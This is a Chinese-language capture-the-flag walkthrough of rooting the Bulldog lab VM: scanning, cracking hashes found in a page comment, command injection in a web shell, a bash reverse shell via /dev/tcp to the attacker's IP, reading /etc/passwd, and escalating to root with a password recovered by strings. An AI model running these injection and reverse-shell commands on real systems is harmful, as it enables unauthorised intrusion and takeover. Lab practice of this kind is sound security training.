运行环境:
测试机:kali
靶机:bulludog
主机发现
arp-scan -l
或者
netdiscover -i eth0 -r 192.168.223.0/24
或者
nmap -sn 192.168.223.0/24 -oG - (不管是不是自己都要扫)
扫描出来是192.168.223.233
端口扫描
masscan --rate=10000 -p0-65535 192.168.223.233
masscan扫描速度快,但准确度不高,可以多扫几次,以防漏扫
或者
nmap -sS 192.168.223.132
服务识别
nmap -sV 192.168.223.233 -p23,8080,80
发现漏洞并识别
1.浏览器访问 http://192.168.223.233
没有发现什么可用的
目录扫描
发现2个大的目录,一个是admin,一个是dev
来尝试访问一下 192.168.223.233/admin/login,尝试弱密码登录,失败
查看一下网页源码,没有什么发现
我们再来看下另一个目录 192.168.223.233/dev
可以知道,完全删除了php和可以使用ssh,从之前端口扫描,我们可以知道ssh端口是23
点击web-shell,看能不能获取shh
点进去之后获取ssh失败,说必须以服务器身份登录才行
我们在回到之前的 192.168.223.233/dev 来查看一下源码,可以看到注释有MD5(Django)的字符串,
挨着顺序解密,发现只有最后2个可以解密出来,bulldog bulldoglover
尝试用解密出来的值做密码,解密前面的邮箱作为账号登录,
失败
尝试用邮箱开头做账号,解密值做密码,成功登录,但是发现没有任何权限
用另一个也是一样,成功登录,但是发现没有任何权限
这时候再打开172.168.111.90/dev页面,发现刚才的web shell能用了
不过好像只能用系统给出的几个命令。先试一下有没有命令注
ifconfig&whoami
根据反馈结果判断存在命令注入,那接下来就好办了。
在攻击机kali中打开命令终端开始监听,输入nc -lvnp 6666
尝试bash反弹,在靶机打开的网页命令框中输入
echo “bash -i >& /dev/tcp/192.168.223.34/6666 0>&1″ | bash
使用echo命令反弹shell成功
首先查看有哪些系统用户,cat /etc/passwd。发现了一个重点对象:bulldogadmin
然后,查找他的文件 find / -user bulldogadmin 2>/dev/null
发现有hiddenadmindirectory隐藏目录,用less命令打开里面包含的文件看看,比如打开note看看
我也不知道是啥意思,那就百度翻译一下
我们再来看另一个,
发现是乱码,我们用 strings 来看一下这个文件
strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
噗,看到一堆英文字符,但是依然可以很轻松的看出文件中间有一个被 H 大段的PASSWORD的单词。于是把前后段去掉H ,得到SUPERultimatePASSWORDyouCANTget 把她保存着,可能需要这个密码
su命令执行一下,提示需要一个终端,
网查了一下资料,可以用python调用本地的shell,命令:
python -c ‘import pty;pty.spawn("/bin/bash")’
然后执行命令 sudo su – ,输入刚才记下来的的密码试一下,结果成功获得root权限,拿到flag
输入ls命令,发现里面只有一个文本文档
输入 cat congrats.txt 打开看下
这里要解释一下,我这里的双写
比如这个 其实就是sudo su -
总结:
主机发现
端口扫描
服务发现
然后查看web服务
爆破出目录admin和dev页面
利用解密MD5得到的密码登录系统,然后绕过系统权限
命令执行
反弹shell
提权